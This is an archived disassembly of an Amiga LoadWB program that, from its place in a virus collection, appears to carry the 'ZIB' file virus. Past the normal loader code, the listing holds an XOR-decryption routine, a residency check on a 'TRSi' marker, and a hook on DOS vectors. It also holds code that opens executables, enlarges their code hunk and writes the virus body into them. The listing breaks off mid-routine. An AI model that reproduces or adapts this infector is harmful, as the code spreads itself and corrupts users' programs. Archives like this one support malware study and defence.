home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
telefisk.org
/
virusCollection.lzx
/
VirusCollectie
/
z
/
ZIB
/
LoadWB3.asm
< prev
next >
Wrap
Assembly Source File
|
1989-02-22
|
26KB
|
990 lines
; IRA V1.02 (Sep 6 1993) (c)1993 Tim Ruehsen
ABSEXECBASE EQU $4
EXT_0001 EQU $C8DBDFCA
SECTION S_0,CODE
SECSTRT_0:
SUBA #$0040,A7 ;000: 9EFC0040
MOVEM.L D2-D3/D5-D7/A2-A3/A5-A6,-(A7) ;004: 48E73736
MOVEA.L (ABSEXECBASE).W,A5 ;008: 2A780004
CLR.L 96(A7) ;00C: 42AF0060
MOVEQ #0,D7 ;010: 7E00
MOVEQ #0,D6 ;012: 7C00
MOVEQ #20,D5 ;014: 7A14
CLR.L 92(A7) ;016: 42AF005C
MOVE.L A5,48(A7) ;01A: 2F4D0030
LEA LAB_001C(PC),A1 ;01E: 43FA02C8
MOVEQ #37,D0 ;022: 7025
MOVEA.L A5,A6 ;024: 2C4D
JSR -552(A6) ;026: 4EAEFDD8
MOVEA.L D0,A2 ;02A: 2440
MOVE.L D0,36(A7) ;02C: 2F400024
BNE.S LAB_0000 ;030: 660E
MOVEA.L 276(A5),A0 ;032: 206D0114
MOVEQ #122,D1 ;036: 727A
MOVE.L D1,148(A0) ;038: 21410094
BRA LAB_001B ;03C: 60000280
LAB_0000:
LEA LAB_001D(PC),A1 ;040: 43FA02B2
MOVEQ #39,D0 ;044: 7027
JSR -552(A6) ;046: 4EAEFDD8
MOVE.L D0,40(A7) ;04A: 2F400028
BNE.S LAB_0001 ;04E: 6618
LEA LAB_001E(PC),A0 ;050: 41FA02B4
MOVE.L A0,D2 ;054: 2408
MOVEQ #122,D1 ;056: 727A
MOVEA.L A2,A6 ;058: 2C4A
JSR -474(A6) ;05A: 4EAEFE26
MOVEQ #122,D1 ;05E: 727A
JSR -462(A6) ;060: 4EAEFE32
BRA LAB_001A ;064: 60000250
LAB_0001:
MOVEQ #23,D0 ;068: 7017
MOVEQ #0,D1 ;06A: 7200
LEA 54(A7),A0 ;06C: 41EF0036
LAB_0002:
MOVE.B D1,(A0)+ ;070: 10C1
DBF D0,LAB_0002 ;072: 51C8FFFC
LEA LAB_001F(PC),A0 ;076: 41FA0296
MOVE.L A0,D1 ;07A: 2208
LEA 54(A7),A0 ;07C: 41EF0036
MOVE.L A0,D2 ;080: 2408
MOVEQ #0,D3 ;082: 7600
MOVEA.L A2,A6 ;084: 2C4A
JSR -798(A6) ;086: 4EAEFCE2
MOVE.L D0,44(A7) ;08A: 2F40002C
BNE.S LAB_0003 ;08E: 6614
JSR -132(A6) ;090: 4EAEFF7C
MOVE.L D0,D1 ;094: 2200
LEA LAB_001E(PC),A0 ;096: 41FA026E
MOVE.L A0,D2 ;09A: 2408
JSR -474(A6) ;09C: 4EAEFE26
BRA LAB_0019 ;0A0: 6000020A
LAB_0003:
TST.L 54(A7) ;0A4: 4AAF0036
BEQ.S LAB_0004 ;0A8: 6702
MOVEQ #1,D6 ;0AA: 7C01
LAB_0004:
TST.L 58(A7) ;0AC: 4AAF003A
BEQ.S LAB_0005 ;0B0: 6704
BSET #1,D6 ;0B2: 08C60001
LAB_0005:
TST.L 62(A7) ;0B6: 4AAF003E
BEQ.S LAB_0006 ;0BA: 6704
BSET #2,D6 ;0BC: 08C60002
LAB_0006:
TST.L 66(A7) ;0C0: 4AAF0042
BEQ.S LAB_0007 ;0C4: 6704
BSET #3,D6 ;0C6: 08C60003
LAB_0007:
TST.L 70(A7) ;0CA: 4AAF0046
BEQ.S LAB_0008 ;0CE: 6704
BSET #1,D6 ;0D0: 08C60001
LAB_0008:
TST.L 74(A7) ;0D4: 4AAF004A
BEQ.S LAB_0009 ;0D8: 6704
BSET #1,D6 ;0DA: 08C60001
LAB_0009:
MOVEQ #0,D5 ;0DE: 7A00
SUBA.L A1,A1 ;0E0: 93C9
MOVEA.L A5,A6 ;0E2: 2C4D
JSR -294(A6) ;0E4: 4EAEFEDA
MOVEA.L D0,A0 ;0E8: 2040
MOVE.L 172(A0),D1 ;0EA: 222800AC
ASL.L #2,D1 ;0EE: E581
MOVEA.L D1,A0 ;0F0: 2041
MOVE.L A0,D0 ;0F2: 2008
BEQ.S LAB_000A ;0F4: 672C
TST.L 8(A0) ;0F6: 4AA80008
BEQ.S LAB_000A ;0FA: 6726
MOVEA.L 36(A7),A2 ;0FC: 246F0024
MOVE.L 8(A0),D0 ;100: 20280008
MOVEA.L A2,A0 ;104: 204A
BSR LAB_0029 ;106: 6100026E
MOVE.L D0,D7 ;10A: 2E00
BNE.S LAB_000A ;10C: 6614
MOVEA.L A2,A6 ;10E: 2C4A
JSR -132(A6) ;110: 4EAEFF7C
MOVE.L D0,D1 ;114: 2200
LEA LAB_001E(PC),A0 ;116: 41FA01EE
MOVE.L A0,D2 ;11A: 2408
JSR -474(A6) ;11C: 4EAEFE26
MOVEQ #10,D5 ;120: 7A0A
LAB_000A:
MOVEA.L 36(A7),A2 ;122: 246F0024
MOVEQ #10,D0 ;126: 700A
CMP.L D0,D5 ;128: BA80
BGE LAB_0018 ;12A: 6C000176
TST.L 74(A7) ;12E: 4AAF004A
BEQ.S LAB_000B ;132: 6720
LEA LAB_0022(PC),A1 ;134: 43FA0214
MOVEQ #37,D0 ;138: 7025
MOVEA.L A5,A6 ;13A: 2C4D
JSR -552(A6) ;13C: 4EAEFDD8
MOVE.L D0,96(A7) ;140: 2F400060
MOVEA.L D0,A0 ;144: 2040
BSR LAB_0035 ;146: 610002F4
TST.L D0 ;14A: 4A80
BNE.S LAB_000B ;14C: 6606
MOVEQ #1,D0 ;14E: 7001
MOVE.L D0,92(A7) ;150: 2F40005C
LAB_000B:
LEA 82(A7),A0 ;154: 41EF0052
LEA 78(A7),A6 ;158: 4DEF004E
MOVE.L A0,(A6)+ ;15C: 2CC8
CLR.L (A6)+ ;15E: 429E
LEA 78(A7),A0 ;160: 41EF004E
MOVE.L A0,(A6)+ ;164: 2CC8
TST.L 70(A7) ;166: 4AAF0046
BEQ.S LAB_000F ;16A: 6762
MOVEA.L (ABSEXECBASE).W,A3 ;16C: 26780004
MOVEQ #6,D1 ;170: 7206
MOVEA.L A2,A6 ;172: 2C4A
JSR -654(A6) ;174: 4EAEFD72
MOVEA.L D0,A5 ;178: 2A40
TST.L D0 ;17A: 4A80
BEQ.S LAB_000F ;17C: 6750
BRA.S LAB_000E ;17E: 6032
LAB_000C:
MOVEQ #12,D0 ;180: 700C
MOVE.L #$00010001,D1 ;182: 223C00010001
MOVEA.L A3,A6 ;188: 2C4B
JSR -198(A6) ;18A: 4EAEFF3A
MOVEA.L D0,A2 ;18E: 2440
TST.L D0 ;190: 4A80
BEQ.S LAB_000E ;192: 671E
MOVE.L A5,D1 ;194: 220D
MOVEA.L 36(A7),A6 ;196: 2C6F0024
JSR -672(A6) ;19A: 4EAEFD60
TST D0 ;19E: 4A40
BEQ.S LAB_000D ;1A0: 6704
MOVE.L A5,8(A2) ;1A2: 254D0008
LAB_000D:
LEA 78(A7),A0 ;1A6: 41EF004E
MOVEA.L A2,A1 ;1AA: 224A
MOVEA.L A3,A6 ;1AC: 2C4B
JSR -240(A6) ;1AE: 4EAEFF10
LAB_000E:
MOVEA.L 36(A7),A2 ;1B2: 246F0024
MOVE.L A5,D1 ;1B6: 220D
MOVEQ #4,D2 ;1B8: 7404
MOVEA.L A2,A6 ;1BA: 2C4A
JSR -690(A6) ;1BC: 4EAEFD4E
MOVEA.L D0,A5 ;1C0: 2A40
TST.L D0 ;1C2: 4A80
BNE.S LAB_000C ;1C4: 66BA
MOVEQ #6,D1 ;1C6: 7206
MOVEA.L A2,A6 ;1C8: 2C4A
JSR -660(A6) ;1CA: 4EAEFD6C
LAB_000F:
MOVEQ #0,D1 ;1CE: 7200
MOVEA.L A2,A6 ;1D0: 2C4A
JSR -516(A6) ;1D2: 4EAEFDFC
MOVEA.L D0,A2 ;1D6: 2440
MOVEA.L 36(A7),A5 ;1D8: 2A6F0024
MOVEQ #0,D1 ;1DC: 7200
MOVEA.L A5,A6 ;1DE: 2C4D
JSR -126(A6) ;1E0: 4EAEFF82
MOVE.L D0,D2 ;1E4: 2400
MOVE.L D6,D0 ;1E6: 2006
MOVE.L D7,D1 ;1E8: 2207
MOVEA.L 40(A7),A6 ;1EA: 2C6F0028
JSR -42(A6) ;1EE: 4EAEFFD6
TST.L D0 ;1F2: 4A80
BNE.S LAB_0010 ;1F4: 660E
MOVE.L D7,D0 ;1F6: 2007
MOVEA.L A5,A0 ;1F8: 204D
BSR LAB_0032 ;1FA: 61000202
MOVEQ #1,D0 ;1FE: 7001
MOVE.L D0,92(A7) ;200: 2F40005C
LAB_0010:
MOVE.L D2,D1 ;204: 2202
MOVEA.L A5,A6 ;206: 2C4D
JSR -126(A6) ;208: 4EAEFF82
MOVE.L A2,D1 ;20C: 220A
JSR -516(A6) ;20E: 4EAEFDFC
MOVEA.L 36(A7),A2 ;212: 246F0024
TST.L 70(A7) ;216: 4AAF0046
BEQ.S LAB_0014 ;21A: 674A
MOVEA.L (ABSEXECBASE).W,A5 ;21C: 2A780004
MOVEQ #6,D1 ;220: 7206
MOVEA.L A2,A6 ;222: 2C4A
JSR -654(A6) ;224: 4EAEFD72
TST.L D0 ;228: 4A80
BEQ.S LAB_0014 ;22A: 673A
MOVEA.L 36(A7),A3 ;22C: 266F0024
BRA.S LAB_0013 ;230: 6018
LAB_0011:
MOVE.L 8(A2),D0 ;232: 202A0008
BEQ.S LAB_0012 ;236: 6708
MOVE.L D0,D1 ;238: 2200
MOVEA.L A3,A6 ;23A: 2C4B
JSR -678(A6) ;23C: 4EAEFD5A
LAB_0012:
MOVEA.L A2,A1 ;240: 224A
MOVEQ #12,D0 ;242: 700C
MOVEA.L A5,A6 ;244: 2C4D
JSR -210(A6) ;246: 4EAEFF2E
LAB_0013:
LEA 78(A7),A0 ;24A: 41EF004E
MOVEA.L A5,A6 ;24E: 2C4D
JSR -258(A6) ;250: 4EAEFEFE
MOVEA.L D0,A2 ;254: 2440
TST.L D0 ;256: 4A80
BNE.S LAB_0011 ;258: 66D8
MOVEA.L 36(A7),A2 ;25A: 246F0024
MOVEQ #6,D1 ;25E: 7206
MOVEA.L A2,A6 ;260: 2C4A
JSR -660(A6) ;262: 4EAEFD6C
LAB_0014:
MOVEA.L 48(A7),A5 ;266: 2A6F0030
TST.L 74(A7) ;26A: 4AAF004A
BEQ.S LAB_0017 ;26E: 672A
MOVEQ #0,D2 ;270: 7400
MOVEA.L 96(A7),A3 ;272: 266F0060
MOVE.L A3,D0 ;276: 200B
BEQ.S LAB_0015 ;278: 670E
LEA LAB_0026(PC),A0 ;27A: 41FA00F0
MOVEA.L A3,A6 ;27E: 2C4B
JSR -138(A6) ;280: 4EAEFF76
MOVE D0,D2 ;284: 3400
EXT.L D2 ;286: 48C2
LAB_0015:
TST.L D2 ;288: 4A82
BNE.S LAB_0016 ;28A: 6606
MOVEQ #1,D0 ;28C: 7001
MOVE.L D0,92(A7) ;28E: 2F40005C
LAB_0016:
MOVEA.L A3,A1 ;292: 224B
MOVEA.L A5,A6 ;294: 2C4D
JSR -414(A6) ;296: 4EAEFE62
LAB_0017:
TST.L 92(A7) ;29A: 4AAF005C
BEQ.S LAB_0018 ;29E: 6702
MOVEQ #5,D5 ;2A0: 7A05
LAB_0018:
MOVE.L 44(A7),D1 ;2A2: 222F002C
MOVEA.L A2,A6 ;2A6: 2C4A
JSR -858(A6) ;2A8: 4EAEFCA6
LAB_0019:
MOVEA.L 40(A7),A1 ;2AC: 226F0028
MOVEA.L A5,A6 ;2B0: 2C4D
JSR -414(A6) ;2B2: 4EAEFE62
LAB_001A:
MOVEA.L A2,A1 ;2B6: 224A
MOVEA.L A5,A6 ;2B8: 2C4D
JSR -414(A6) ;2BA: 4EAEFE62
LAB_001B:
MOVE.L D5,D0 ;2BE: 2005
MOVEM.L (A7)+,D2-D3/D5-D7/A2-A3/A5-A6 ;2C0: 4CDF6CEC
ADDA #$0040,A7 ;2C4: DEFC0040
RTS ;2C8: 4E75
MOVEA.L (A6),A2 ;2CA: 2456
DC.W $4552 ;2CC
MOVE -(A0),D5 ;2CE: 3A20
DC.W $6C6F ;2D0
BSR.S LAB_0021+2 ;2D2: 6164
DC.W $7762 ;2D4
DC.W $2034 ;2D6
MOVE 12832(A6),D1 ;2D8: 322E3220
DC.W $2832 ;2DC
MOVE 14126(A6),-(A1) ;2DE: 332E372E
DC.W $3936 ;2E2
MOVE.L A2,-(A4) ;2E4: 290A
BTST D6,D0 ;2E6: 0D00
LAB_001C:
DC.W $646F ;2E8
DC.W $732E ;2EA
DC.W $6C69 ;2EC
BHI.S LAB_0024 ;2EE: 6272
BSR.S LAB_0025 ;2F0: 6172
DC.W $7900 ;2F2
LAB_001D:
DC.W $776F ;2F4
MOVEQ #107,D1 ;2F6: 726B
DC.W $6265 ;2F8
DC.W $6E63 ;2FA
BVC.S LAB_0020 ;2FC: 682E
DC.W $6C69 ;2FE
BHI.S LAB_0028 ;300: 6272
BSR.S LAB_0029 ;302: 6172
DC.W $7900 ;304
LAB_001E:
DC.W $6C6F ;306
BSR.S LAB_0027 ;308: 6164
DC.W $7762 ;30A
DC.W $0000 ;30C
LAB_001F:
NEG D5 ;30E: 4445
CLR (A5) ;310: 4255
DC.W $473D ;312
MOVE.L D4,17730(A6) ;314: 2D444542
SUBQ #2,D7 ;318: 5547
MOVE.L (A3),11332(A7) ;31A: 2F532C44
DC.W $454C ;31E
DC.W $4159 ;320
DC.W $2F53 ;322
MOVEA.L D3,A6 ;324: 2C43
DC.W $4C45 ;326
DC.W $414E ;328
SUBQ #2,(A0) ;32A: 5550
LAB_0020:
MOVE.L (A3),11342(A7) ;32C: 2F532C4E
DC.W $4557 ;330
ADDQ #8,D1 ;332: 5041
ADDQ #2,A0 ;334: 5448
LAB_0021:
MOVE.L (A3),11336(A7) ;336: 2F532C48
DC.W $4944 ;33A
DC.W $452F ;33C
SUBQ.B #1,21057(A4) ;33E: 532C5241
DC.W $4D49 ;342
DC.W $434F ;344
DC.W $4E2F ;346
SUBQ.B #1,D0 ;348: 5300
LAB_0022:
DC.W $6963 ;34A
BLE.S LAB_002B+2 ;34C: 6F6E
MOVEA.L 26978(A4),A7 ;34E: 2E6C6962
MOVEQ #97,D1 ;352: 7261
MOVEQ #121,D1 ;354: 7279
DC.W $0000 ;356
LAB_0023:
DC.W $454E ;358
DC.W $563A ;35A
DC.W $5379 ;35C
DC.W $732F ;35E
DC.W $6465 ;360
LAB_0024:
DC.W $665F ;362
LAB_0025:
MOVEQ #97,D1 ;364: 7261
BLT.S LAB_002C+2 ;366: 6D64
DC.W $6973 ;368
DC.W $6B00 ;36A
LAB_0026:
ADDQ #1,D1 ;36C: 5241
LAB_0027:
DC.W $4D3A ;36E
DC.W $4469 ;370
DC.W $736B ;372
LAB_0028:
DC.W $0000 ;374
LAB_0029:
SUBA #$000C,A7 ;376: 9EFC000C
MOVEM.L D7/A2-A3/A5-A6,-(A7) ;37A: 48E70136
MOVE.L A0,28(A7) ;37E: 2F48001C
MOVEA.L (ABSEXECBASE).W,A1 ;382: 22780004
SUBA.L A5,A5 ;386: 9BCD
SUBA.L A3,A3 ;388: 97CB
MOVEQ #0,D7 ;38A: 7E00
MOVE.L D0,24(A7) ;38C: 2F400018
ASL.L #2,D0 ;390: E580
MOVEA.L D0,A2 ;392: 2440
MOVE.L A1,20(A7) ;394: 2F490014
BRA.S LAB_002E ;398: 603E
LAB_002A:
MOVEA.L 20(A7),A6 ;39A: 2C6F0014
MOVEQ #8,D0 ;39E: 7008
MOVE.L #$00010001,D1 ;3A0: 223C00010001
JSR -198(A6) ;3A6: 4EAEFF3A
MOVEA.L D0,A5 ;3AA: 2A40
TST.L D0 ;3AC: 4A80
BEQ.S LAB_002D ;3AE: 6722
MOVE.L A5,D1 ;3B0: 220D
ASR.L #2,D1 ;3B2: E481
MOVE.L A3,D0 ;3B4: 200B
BEQ.S LAB_002B+2 ;3B6: 6704
MOVE.L D1,(A3) ;3B8: 2681
LAB_002B:
CMPI #$2E01,D0 ;3BA: 0C402E01
MOVE.L 4(A2),D1 ;3BE: 222A0004
MOVEA.L 28(A7),A6 ;3C2: 2C6F001C
JSR -96(A6) ;3C6: 4EAEFFA0
LAB_002C:
MOVE.L D0,4(A5) ;3CA: 2B400004
BEQ.S LAB_002F ;3CE: 670C
MOVEA.L A5,A3 ;3D0: 264D
LAB_002D:
MOVE.L (A2),D0 ;3D2: 2012
ASL.L #2,D0 ;3D4: E580
MOVEA.L D0,A2 ;3D6: 2440
LAB_002E:
MOVE.L A2,D0 ;3D8: 200A
BNE.S LAB_002A ;3DA: 66BE
LAB_002F:
MOVE.L A5,D0 ;3DC: 200D
BEQ.S LAB_0030 ;3DE: 6706
TST.L 4(A5) ;3E0: 4AAD0004
BNE.S LAB_0031 ;3E4: 660C
LAB_0030:
MOVE.L D7,D0 ;3E6: 2007
MOVEA.L 28(A7),A0 ;3E8: 206F001C
BSR LAB_0032 ;3EC: 61000010
MOVEQ #0,D7 ;3F0: 7E00
LAB_0031:
MOVE.L D7,D0 ;3F2: 2007
MOVEM.L (A7)+,D7/A2-A3/A5-A6 ;3F4: 4CDF6C80
ADDA #$000C,A7 ;3F8: DEFC000C
BRA.S LAB_0037 ;3FC: 6072
LAB_0032:
SUBQ #4,A7 ;3FE: 594F
MOVEM.L A2-A3/A5-A6,-(A7) ;400: 48E70036
MOVE.L A0,16(A7) ;404: 2F480010
MOVEA.L (ABSEXECBASE).W,A5 ;408: 2A780004
ASL.L #2,D0 ;40C: E580
MOVEA.L D0,A3 ;40E: 2640
BRA.S LAB_0034 ;410: 601E
LAB_0033:
MOVEA.L A3,A2 ;412: 244B
MOVE.L (A2),D0 ;414: 2012
ASL.L #2,D0 ;416: E580
MOVEA.L D0,A3 ;418: 2640
MOVE.L 4(A2),D1 ;41A: 222A0004
MOVEA.L 16(A7),A6 ;41E: 2C6F0010
JSR -90(A6) ;422: 4EAEFFA6
MOVEA.L A2,A1 ;426: 224A
MOVEQ #8,D0 ;428: 7008
MOVEA.L A5,A6 ;42A: 2C4D
JSR -210(A6) ;42C: 4EAEFF2E
LAB_0034:
MOVE.L A3,D0 ;430: 200B
BNE.S LAB_0033 ;432: 66DE
MOVEM.L (A7)+,A2-A3/A5-A6 ;434: 4CDF6C00
ADDQ #4,A7 ;438: 584F
BRA.S LAB_0037 ;43A: 6034
LAB_0035:
MOVEM.L D7/A6,-(A7) ;43C: 48E70102
MOVEA.L A0,A1 ;440: 2248
MOVEQ #0,D7 ;442: 7E00
MOVE.L A1,D0 ;444: 2009
BEQ.S LAB_0036 ;446: 671C
LEA LAB_0023(PC),A0 ;448: 41FAFF0E
MOVEA.L A1,A6 ;44C: 2C49
JSR -78(A6) ;44E: 4EAEFFB2
TST.L D0 ;452: 4A80
BEQ.S LAB_0036 ;454: 670E
MOVEA.L D0,A1 ;456: 2240
LEA LAB_0026(PC),A0 ;458: 41FAFF12
JSR -84(A6) ;45C: 4EAEFFAC
MOVE D0,D7 ;460: 3E00
EXT.L D7 ;462: 48C7
LAB_0036:
MOVE.L D7,D0 ;464: 2007
MOVEM.L (A7)+,D7/A6 ;466: 4CDF4080
BRA.S LAB_0037 ;46A: 6004
MOVEA.L (ABSEXECBASE).W,A6 ;46C: 2C780004
LAB_0037:
MOVEM.L D0-D7/A0-A6,-(A7) ;470: 48E7FFFE
BSR.S LAB_0038 ;474: 6108
BSR.S LAB_003C ;476: 613E
MOVEM.L (A7)+,D0-D7/A0-A6 ;478: 4CDF7FFF
RTS ;47C: 4E75
LAB_0038:
MOVEM.L D0-D7/A0-A6,-(A7) ;47E: 48E7FFFE
LEA LAB_0069(PC),A0 ;482: 41FA0422
DC.W $43FA ;486
DC.W $04D4 ;488
LAB_0039:
EORI #$BABE,(A0)+ ;48A: 0A58BABE
CMPA.L A0,A1 ;48E: B3C8
BNE.S LAB_0039 ;490: 66F8
MOVEA.L (ABSEXECBASE).W,A6 ;492: 2C780004
JSR -636(A6) ;496: 4EAEFD84
MOVEM.L (A7)+,D0-D7/A0-A6 ;49A: 4CDF7FFF
RTS ;49E: 4E75
LAB_003A:
MOVEM.L D1-D7/A0-A6,-(A7) ;4A0: 48E77FFE
MOVE.L #$00050001,D1 ;4A4: 223C00050001
JSR -684(A6) ;4AA: 4EAEFD54
MOVEM.L (A7)+,D1-D7/A0-A6 ;4AE: 4CDF7FFE
TST.L D0 ;4B2: 4A80
LAB_003B:
RTS ;4B4: 4E75
LAB_003C:
MOVEA.L (ABSEXECBASE).W,A6 ;4B6: 2C780004
LAB_003D:
CMPI.L #$54525369,514(A6) ;4BA: 0CAE545253690202
BEQ.S LAB_003B ;4C2: 67F0
MOVE.L #$00000200,D0 ;4C4: 203C00000200
BSR.S LAB_003A ;4CA: 61D4
BEQ.S LAB_003B ;4CC: 67E6
LEA LAB_0037(PC),A1 ;4CE: 43FAFFA0
MOVE.L D0,1062(A1) ;4D2: 23400426
MOVE.L #$00000522,D0 ;4D6: 203C00000522
BSR.S LAB_003A ;4DC: 61C2
BEQ.S LAB_003B ;4DE: 67D4
MOVEA.L D0,A0 ;4E0: 2040
MOVE #$04EB,D1 ;4E2: 323C04EB
LAB_003E:
MOVE.B (A1)+,(A0)+ ;4E6: 10D9
DBF D1,LAB_003E ;4E8: 51C9FFFC
MOVEA.L D0,A0 ;4EC: 2040
PEA 134(A0) ;4EE: 48680086
JMP -636(A6) ;4F2: 4EEEFD84
LEA LAB_0068(PC),A1 ;4F6: 43FA03A2
MOVE.L #$10020019,198(A1) ;4FA: 237C1002001900C6
MOVEQ #37,D0 ;502: 7025
JSR -552(A6) ;504: 4EAEFDD8
TST.L D0 ;508: 4A80
BEQ.S LAB_003B ;50A: 67A8
DC.W $43FA ;50C
DC.W $044E ;50E
MOVE.L D0,(A1) ;510: 2280
MOVEA.L D0,A2 ;512: 2440
MOVEA.L -148(A2),A3 ;514: 266AFF6C
LEA LAB_0040(PC),A4 ;518: 49FA0044
MOVE.L -162(A4),D1 ;51C: 222CFF5E
CMP.L -162(A3),D1 ;520: B2ABFF5E
BEQ.S LAB_003F ;524: 6708
MOVE.L A3,1042(A4) ;526: 294B0412
MOVE.L A4,-148(A2) ;52A: 254CFF6C
LAB_003F:
MOVE.L LAB_003D+2(PC),514(A6) ;52E: 2D7AFF8C0202
LEA LAB_006B(PC),A1 ;534: 43FA0384
JSR -294(A6) ;538: 4EAEFEDA
TST.L D0 ;53C: 4A80
BNE.S LAB_0042 ;53E: 6634
LEA LAB_006B(PC),A1 ;540: 43FA0378
MOVE.L A1,D1 ;544: 2209
CLR.L D2 ;546: 4282
LEA LAB_0054(PC),A1 ;548: 43FA01CA
MOVE.L A1,D3 ;54C: 2609
LSR.L #2,D3 ;54E: E48B
MOVE.L #$00000400,D4 ;550: 283C00000400
DC.W $2C7A ;556
DC.W $0404 ;558
JMP -138(A6) ;55A: 4EEEFF76
LAB_0040:
MOVEM.L D0-D7/A0-A6,-(A7) ;55E: 48E7FFFE
DC.W $4BFA ;562
DC.W $0428 ;564
TST.L (A5) ;566: 4A95
BNE.S LAB_0041 ;568: 6602
BSR.S LAB_0044 ;56A: 6110
LAB_0041:
MOVEM.L (A7)+,D0-D7/A0-A6 ;56C: 4CDF7FFF
DC.W $2F3A ;570
DC.W $03FE ;572
LAB_0042:
RTS ;574: 4E75
LAB_0043:
MOVE.L D7,D1 ;576: 2207
JMP -90(A6) ;578: 4EEEFFA6
LAB_0044:
DC.W $2C7A ;57C
BSET D1,(A6)+ ;57E: 03DE
DC.W $41FA ;580
BSET D1,-127(A2,D2.W) ;582: 03F22081
MOVEQ #-1,D2 ;586: 74FF
JSR -84(A6) ;588: 4EAEFFAC
TST.L D0 ;58C: 4A80
BEQ.S LAB_0042 ;58E: 67E4
MOVE.L D0,D7 ;590: 2E00
MOVE.L D0,D1 ;592: 2200
MOVEA.L LAB_0067(PC),A5 ;594: 2A7A0300
MOVE.L A5,D2 ;598: 240D
JSR -114(A6) ;59A: 4EAEFF8E
TST.L D0 ;59E: 4A80
BEQ.S LAB_0043 ;5A0: 67D4
CMPI.L #$00000052,8(A5) ;5A2: 0CAD000000520008
BNE.S LAB_0043 ;5AA: 66CA
MOVE.L 12(A5),D0 ;5AC: 202D000C
SUB.L 16(A5),D0 ;5B0: 90AD0010
CMP.L #$00000005,D0 ;5B4: B0BC00000005
BLE.S LAB_0043 ;5BA: 6FBA
MOVE.L D7,D1 ;5BC: 2207
MOVE.L A5,D2 ;5BE: 240D
JSR -102(A6) ;5C0: 4EAEFF9A
TST.L D0 ;5C4: 4A80
BEQ.S LAB_0043 ;5C6: 67AE
TST 116(A5) ;5C8: 4A6D0074
BNE.S LAB_0043 ;5CC: 66A8
CMPI.L #$0001E848,124(A5) ;5CE: 0CAD0001E848007C
BHI.S LAB_0043 ;5D6: 629E
BSR.S LAB_0043 ;5D8: 619C
MOVE.L 124(A5),D0 ;5DA: 202D007C
MOVEA.L (ABSEXECBASE).W,A6 ;5DE: 2C780004
BSR LAB_003A ;5E2: 6100FEBC
BEQ.S LAB_0045 ;5E6: 6716
MOVE.L D0,D7 ;5E8: 2E00
DC.W $2C7A ;5EA
DC.W $0370 ;5EC
DC.W $223A ;5EE
BCLR D1,D4 ;5F0: 0384
MOVE.L #$000003ED,D2 ;5F2: 243C000003ED
JSR -30(A6) ;5F8: 4EAEFFE2
TST.L D0 ;5FC: 4A80
LAB_0045:
BEQ LAB_004A ;5FE: 6700008C
MOVE.L D0,D6 ;602: 2C00
MOVE.L D0,D1 ;604: 2200
MOVE.L D7,D2 ;606: 2407
MOVEA.L LAB_0067(PC),A5 ;608: 2A7A028C
MOVE.L 124(A5),D3 ;60C: 262D007C
JSR -42(A6) ;610: 4EAEFFD6
CMP.L 124(A5),D0 ;614: B0AD007C
BEQ.S LAB_0048 ;618: 670A
BRA.S LAB_0049 ;61A: 6042
LAB_0046:
MOVE.L D7,D2 ;61C: 2407
LAB_0047:
MOVE.L D6,D1 ;61E: 2206
JMP -48(A6) ;620: 4EEEFFD0
LAB_0048:
MOVE.L D6,D1 ;624: 2206
CLR.L D2 ;626: 4282
MOVEQ #-1,D3 ;628: 76FF
JSR -66(A6) ;62A: 4EAEFFBE
BSR.S LAB_004B ;62E: 6166
BNE.S LAB_0049 ;630: 662C
DC.W $263A ;632
BCHG D1,D4 ;634: 0344
BSR.S LAB_0046 ;636: 61E4
BSR LAB_0038 ;638: 6100FE44
LEA LAB_0037(PC),A0 ;63C: 41FAFE32
MOVE.L A0,D2 ;640: 2408
MOVE.L #$000004EC,D3 ;642: 263C000004EC
BSR.S LAB_0047 ;648: 61D4
MOVE.L D7,D2 ;64A: 2407
MOVE.L 124(A5),D3 ;64C: 262D007C
DC.W $96BA ;650
BTST D1,-(A6) ;652: 0326
DC.W $D4BA ;654
BTST D1,-(A2) ;656: 0322
BSR.S LAB_0047 ;658: 61C4
BSR LAB_0038 ;65A: 6100FE22
LAB_0049:
MOVE.L D6,D1 ;65E: 2206
JSR -36(A6) ;660: 4EAEFFDC
DC.W $2C7A ;664
DC.W $02F6 ;666
MOVEA.L LAB_0067(PC),A5 ;668: 2A7A022C
MOVE #$FAB4,116(A5) ;66C: 3B7CFAB40074
MOVE.L 116(A5),D2 ;672: 242D0074
DC.W $223A ;676
DC.W $02FC ;678
JSR -186(A6) ;67A: 4EAEFF46
LEA 132(A5),A0 ;67E: 41ED0084
DC.W $223A ;682
DC.W $02F0 ;684
MOVE.L A0,D2 ;686: 2408
JMP -396(A6) ;688: 4EEEFE74
LAB_004A:
MOVEA.L (ABSEXECBASE).W,A6 ;68C: 2C780004
MOVEA.L D7,A1 ;690: 2247
JMP -690(A6) ;692: 4EEEFD4E
LAB_004B:
MOVEA.L D7,A0 ;696: 2047
CMPI #$03F3,2(A0) ;698: 0C6803F30002
BEQ.S LAB_004E ;69E: 6704
LAB_004C:
MOVEQ #-1,D0 ;6A0: 70FF
LAB_004D:
RTS ;6A2: 4E75
LAB_004E:
MOVE.L 8(A0),D0 ;6A4: 20280008
ADDQ.L #5,D0 ;6A8: 5A80
LSL.L #2,D0 ;6AA: E588
CMPI #$03E9,2(A0,D0.L) ;6AC: 0C7003E90802
BNE.S LAB_004D ;6B2: 66EE
MOVE.L 4(A0,D0.L),D1 ;6B4: 22300804
CMP.L 20(A0),D1 ;6B8: B2A80014
BNE.S LAB_004C ;6BC: 66E2
ADDI.L #$0000013B,20(A0) ;6BE: 06A80000013B0014
ADDI.L #$0000013B,4(A0,D0.L) ;6C6: 06B00000013B0804
LSL.L #2,D1 ;6CE: E589
ADD.L D1,D0 ;6D0: D081
ADDQ.L #8,D0 ;6D2: 5080
DC.W $43FA ;6D4
ANDI.L #$2280D1C0,-(A2) ;6D6: 02A22280D1C0
CMPI.L #$54525369,-1184(A0) ;6DC: 0CA854525369FB60
BEQ.S LAB_004C ;6E4: 67BA
MOVEQ #-1,D2 ;6E6: 74FF
MOVEQ #62,D0 ;6E8: 703E
LAB_004F:
CMPI #$4E75,-(A0) ;6EA: 0C604E75
BEQ.S LAB_0051 ;6EE: 6708
LAB_0050:
DBF D0,LAB_004F ;6F0: 51C8FFF8
TST.L D2 ;6F4: 4A82
RTS ;6F6: 4E75
LAB_0051:
MOVEQ #124,D1 ;6F8: 727C
LSL.L #1,D0 ;6FA: E388
SUB.L D0,D1 ;6FC: 9280
BNE.S LAB_0052 ;6FE: 6606
MOVE #$4E71,(A0) ;700: 30BC4E71
BRA.S LAB_0053 ;704: 6008
LAB_0052:
MOVE.B #$60,(A0) ;706: 10BC0060
